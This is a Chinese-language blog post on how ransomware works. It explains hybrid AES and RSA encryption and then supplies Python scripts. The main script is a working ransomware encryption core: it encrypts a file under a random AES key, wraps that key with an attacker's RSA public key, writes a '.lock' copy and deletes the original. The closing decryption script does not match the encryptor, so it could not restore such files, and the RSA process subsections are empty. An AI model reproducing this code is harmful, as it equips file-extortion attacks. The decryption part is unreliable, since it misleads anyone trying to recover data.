仅供学习交流使用,切勿用于非法用途,否则后果自负。
1.什么是勒索病毒
勒索病毒(Ransomware)是一种恶意软件,其主要目的是通过加密用户文件或锁定计算机系统,然后要求用户支付赎金以获取解密密钥或解锁计算机的权限。以下是勒索病毒的一些关键特征和工作原理:
-
加密文件或锁定系统:
- 勒索病毒会在感染计算机后,对用户的重要文件(如文档、图片、视频等)进行加密,或者直接锁定整个操作系统,阻止用户访问其数据或使用计算机。
-
勒索信息:
- 感染后,勒索病毒会显示一条勒索信息,通常要求用户支付一定金额的比特币或其他加密货币,以换取解密密钥或解锁系统的工具。
-
威胁和要求:
- 勒索信息通常包含详细的支付说明、支付截止期限和威胁(例如数据永久丢失),以迫使受害者尽快支付赎金。
-
传播方式:
- 勒索病毒通常通过钓鱼邮件、恶意下载、漏洞利用或网络共享等方式传播。一旦成功感染一台计算机,有时还会尝试感染网络中的其他计算机。
-
经济动机:
- 攻击者主要的经济动机是通过大规模的勒索攻击获取利润。由于比特币等加密货币的匿名性,难以追踪支付赎金的受益者。
-
防御和应对:
- 防御勒索病毒的关键措施包括定期备份数据、安装和更新安全软件(如防病毒软件和防火墙)、不点击不明链接或附件、保持操作系统和应用程序更新等。
勒索病毒的威胁日益严重,对个人用户、企业和政府机构都构成了重大的安全挑战。因此,保持警惕并采取适当的安全措施非常重要。
2.勒索病毒原理
勒索病毒通常使用混合加密方案(Hybrid Encryption Scheme),具体步骤如下:
生成一个随机的对称密钥(如AES密钥):
勒索病毒在每次感染时会生成一个随机的AES密钥。这个密钥用于加密文件内容,因为AES加密速度快且效率高。
使用AES密钥加密文件:
勒索病毒使用AES密钥对受害者的文件进行加密。由于AES加密效率高,可以快速对大量文件进行加密而不会造成系统明显的性能下降。
使用RSA加密AES密钥:
勒索病毒使用RSA公钥来加密生成的AES密钥,并将加密后的AES密钥保存在系统或文件头中。这样做的好处是:
加密后的AES密钥只能通过攻击者掌握的RSA私钥解密。
即使受害者获得了文件的加密副本,没有解密后的AES密钥,他们也无法恢复文件。
要求赎金:
攻击者要求受害者支付赎金,以换取RSA私钥解密后的AES密钥,从而解密文件。
3.AES
AES(Advanced Encryption Standard,高级加密标准)是一种对称加密算法,广泛用于保护数据的机密性。它由美国国家标准与技术研究院(NIST)在2001年公布,是当前最常用的加密标准之一。AES 的安全性和效率使其成为现代计算环境中加密敏感信息的标准选择,比如在 HTTPS、VPN、无线网络安全(如 WPA2/WPA3)、硬盘加密(如 BitLocker)以及各种文件加密工具中。
-
对称加密的基本原理
AES是一种对称加密算法,这意味着加密和解密使用同一个密钥。这与非对称加密(如RSA)不同,对称加密速度更快,因此非常适合大规模数据加密。
在 AES 加密中:
密钥:用于加密和解密数据的相同密钥必须由通信双方安全共享和管理。
加密过程:通过加密算法和密钥将明文数据转换为密文。
解密过程:使用相同的密钥和算法将密文恢复为明文。 -
AES的工作原理
AES基于分组密码的原理,对固定长度的数据块(通常是128位)进行加密。AES 支持三种不同的密钥长度:
128位密钥(AES-128)
192位密钥(AES-192)
256位密钥(AES-256)
密钥越长,加密的强度越高,但计算开销也相对更大。
AES的工作过程主要分为以下几个阶段:
密钥扩展:将原始密钥扩展成多轮使用的子密钥。
初始轮处理:将数据块和密钥进行初步混合(异或操作)。
主要轮处理:
字节代换(SubBytes):将每个字节替换为查表得到的新值。
行移位(ShiftRows):将数据块中每一行的数据进行循环移位。
列混淆(MixColumns):对每列数据进行线性变换。
轮密钥加(AddRoundKey):将变换后的数据块与一个子密钥进行异或操作。
最终轮处理:类似于主要轮处理,但不执行“列混淆”步骤。
经过这些处理后,明文数据块被转换为密文数据块。
- AES的模式(Modes of Operation)
AES本身是一个分组加密算法,它只对固定长度的数据块(如128位)进行加密。因此,为了加密任意长度的数据,需要使用操作模式(Mode of Operation)。常见的 AES 操作模式包括:
ECB(Electronic Codebook Mode):
每个数据块独立加密。
简单但不推荐使用,因为相同的明文块会生成相同的密文块,容易被攻击者分析出模式。
CBC(Cipher Block Chaining Mode):
每个明文块在加密前会与前一个密文块进行异或操作,依赖初始向量(IV)来处理第一个块。
增加了安全性,避免了相同的明文块产生相同的密文块。
CFB(Cipher Feedback Mode):
类似于流加密,每个分组的输出会反馈到加密过程。
可以加密不定长度的数据,并且适合加密逐字节或逐位的通信。
OFB(Output Feedback Mode):
将 AES 变成一个同步流密码,输出不会依赖明文,只依赖密钥和 IV。
避免了因明文相同而导致密文相同的情况。
GCM(Galois/Counter Mode):
提供数据加密和认证(验证密文的完整性和真实性)。
常用于网络通信和 VPN 之中。 - AES的优缺点
4.1 优点
速度快:AES 使用简单的逻辑操作和矩阵运算,能够快速加密和解密数据,非常适合大数据量的加密。
安全性高:AES 是基于现代密码学的标准算法,经过大量的研究和验证,尤其是在256位密钥的情况下,几乎不可破解。
广泛应用:由于其高效和安全性,AES 被用于各种安全协议和标准中,如 HTTPS、TLS/SSL、VPN、WPA2/WPA3 等。
4.2 缺点
对称密钥的管理:因为加密和解密使用同一个密钥,双方必须安全地共享和管理这个密钥,特别是在网络通信中,如何安全地传递密钥是一个挑战。
数据块依赖模式:AES 依赖操作模式来处理不同长度的数据,某些模式(如 ECB)在实际使用中不够安全,需要选择更安全的模式(如 CBC 或 GCM)。
4.RSA
RSA加密是一种非对称加密算法,由Ron Rivest、Adi Shamir和Leonard Adleman在1977年共同设计,因此被称为RSA加密。它是现代加密技术中最广泛使用的公钥加密算法之一,广泛应用于数据加密、数字签名和密钥交换等领域。RSA算法的核心思想依赖于大整数的因式分解难题,即将一个大整数分解为两个质数的乘积非常困难,从而保证了加密的安全性。
-
非对称加密的基本原理
与对称加密(如AES)不同,非对称加密使用一对密钥:公钥和私钥。
公钥:用于加密数据,可以公开分享给任何人。
私钥:用于解密数据,必须由密钥持有者保密。
在RSA加密中,使用公钥加密的数据只能通过私钥解密,反之亦然。因为公钥和私钥是一对互补的密钥,所以即使公钥是公开的,只要私钥没有泄露,加密信息的安全性就能得到保证。 -
RSA加密的过程
以下是RSA加密和解密的基本过程:
2.1 密钥生成

2.2 加密过程

2.3 解密过程

-
RSA的优缺点
3.1 优点
安全性高:RSA的安全性依赖于大整数分解的难度,这在现代计算机上很难破解,特别是当密钥长度足够长时(如2048位或以上)。
非对称加密:不需要在通信双方之间共享密钥,从而减少了密钥泄露的风险。
广泛应用:RSA被广泛用于安全通信、数字证书、数字签名和密钥交换。
3.2 缺点
速度较慢:由于非对称加密算法(如RSA)的计算复杂度较高,因此在处理大量数据时效率不如对称加密算法(如AES)。通常RSA只用于加密较小的数据或对称加密密钥本身。
安全性依赖于密钥长度:随着计算能力的提升,如果密钥长度不够长(如1024位以下),可能会被现代攻击方法(如量子计算)破解。因此,为了确保安全性,建议使用至少2048位或更长的密钥。 -
RSA的实际应用
HTTPS/SSL/TLS:RSA广泛应用于HTTPS协议中,用于安全地传输加密的对称密钥。
数字签名:RSA用于数字签名的创建和验证,确保信息的完整性和真实性。
PGP加密:PGP(Pretty Good Privacy)也使用RSA来加密和解密邮件内容。
简单加密原理代码实现
加密脚本
import os
import sys
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding as sym_padding
# RSA公钥(PEM格式)
RSA_PUBLIC_KEY = """
-----BEGIN PUBLIC KEY-----
##此处为你的RSA公钥
-----END PUBLIC KEY-----
"""
def generate_aes_key():
return os.urandom(32) # 生成一个256位的AES密钥
def load_rsa_public_key(public_key_pem):
public_key = serialization.load_pem_public_key(
public_key_pem.encode('utf-8'),
backend=default_backend()
)
return public_key
def encrypt_aes_key(aes_key, public_key):
encrypted_key = public_key.encrypt(
aes_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
return encrypted_key
def encrypt_file(file_path, aes_key):
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
with open(file_path, 'rb') as file:
plaintext = file.read()
padder = sym_padding.PKCS7(128).padder()
padded_data = padder.update(plaintext) + padder.finalize()
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
new_file_path = file_path + '.lock'
with open(new_file_path, 'wb') as file:
file.write(iv + ciphertext)
os.remove(file_path)
print(f"文件已加密并保存为:{new_file_path}")
return new_file_path
def save_encrypted_key(encrypted_key, file_path):
# 使用输入文件名创建密钥文件名
key_file_path = f"{os.path.splitext(file_path)[0]}.key"
with open(key_file_path, 'wb') as file:
file.write(encrypted_key)
print(f"加密后的AES密钥已保存到:{key_file_path}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("用法: python encrypt_file_with_rsa_aes.py <文件路径>")
sys.exit(1)
file_path = sys.argv[1]
if not os.path.isfile(file_path):
print(f"文件不存在: {file_path}")
sys.exit(1)
# 加载硬编码的RSA公钥
public_key = load_rsa_public_key(RSA_PUBLIC_KEY)
# 生成AES密钥
aes_key = generate_aes_key()
# 使用RSA公钥加密AES密钥
encrypted_aes_key = encrypt_aes_key(aes_key, public_key)
# 加密文件
encrypt_file(file_path, aes_key)
# 保存加密后的AES密钥到当前目录,以.key为后缀
save_encrypted_key(encrypted_aes_key, file_path)
解密脚本----RSA解密密钥脚本
import os
import sys
import base64
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.backends import default_backend
def load_rsa_private_key(private_key_pem):
private_key = serialization.load_pem_private_key(
private_key_pem.encode('utf-8'),
password=None,
backend=default_backend()
)
return private_key
def decrypt_aes_key(encrypted_key, private_key):
decrypted_key = private_key.decrypt(
encrypted_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
return decrypted_key
def read_key_file(key_file_path):
with open(key_file_path, 'rb') as file:
return file.read()
def save_decrypted_key(decrypted_key, output_path):
# 将解密后的密钥进行Base64编码
base64_key = base64.b64encode(decrypted_key).decode('utf-8')
with open(output_path, 'w') as file:
file.write(base64_key)
print(f"解密后的AES密钥(Base64编码)已保存到:{output_path}")
print(f"解密后的AES密钥(Base64编码):{base64_key}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("用法: python decrypt_key_file_with_rsa.py <密钥文件路径> <私钥文件路径>")
sys.exit(1)
key_file_path = sys.argv[1]
private_key_path = sys.argv[2]
if not os.path.isfile(key_file_path):
print(f"密钥文件不存在: {key_file_path}")
sys.exit(1)
if not os.path.isfile(private_key_path):
print(f"私钥文件不存在: {private_key_path}")
sys.exit(1)
# 加载RSA私钥
try:
with open(private_key_path, 'r') as f:
private_key_pem = f.read()
private_key = load_rsa_private_key(private_key_pem)
except ValueError as e:
print(f"私钥加载失败:{str(e)}")
sys.exit(1)
# 读取加密的AES密钥文件
encrypted_aes_key = read_key_file(key_file_path)
# 使用私钥解密AES密钥
try:
decrypted_aes_key = decrypt_aes_key(encrypted_aes_key, private_key)
print("解密成功,AES密钥已解密。")
# 输出解密后的AES密钥到文件或控制台
output_path = f"{os.path.splitext(key_file_path)[0]}_decrypted.key"
save_decrypted_key(decrypted_aes_key, output_path)
except Exception as e:
print(f"解密失败:{str(e)}")
上一步得到解密后的AES密钥。接下来是解密被加密的文件的脚本
import os
import sys
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
def derive_key(password, salt):
# 使用 PBKDF2 来生成密钥
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
backend=default_backend()
)
key = kdf.derive(password.encode())
return key
def decrypt_file(file_path, password):
# 读取加密文件的内容
with open(file_path, 'rb') as file:
salt = file.read(16) # 读取前16字节的盐值
iv = file.read(16) # 读取接下来的16字节作为IV
encrypted_data = file.read() # 读取剩余的数据
# 生成密钥
key = derive_key(password, salt)
# 解密数据
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
padded_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 去除填充
unpadder = padding.PKCS7(128).unpadder()
data = unpadder.update(padded_data) + unpadder.finalize()
# 去掉 .lock 后缀来恢复原文件名
original_file_path = file_path.rsplit('.lock', 1)[0]
with open(original_file_path, 'wb') as file:
file.write(data)
# 删除加密后的文件
os.remove(file_path)
print(f"文件已解密并恢复为:{original_file_path}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("用法: python decrypt_file.py <加密文件路径> <密钥>")
sys.exit(1)
file_path = sys.argv[1]
password = sys.argv[2]
if not os.path.isfile(file_path):
print(f"文件不存在: {file_path}")
sys.exit(1)
decrypt_file(file_path, password)
```



511

被折叠的 条评论
为什么被折叠?



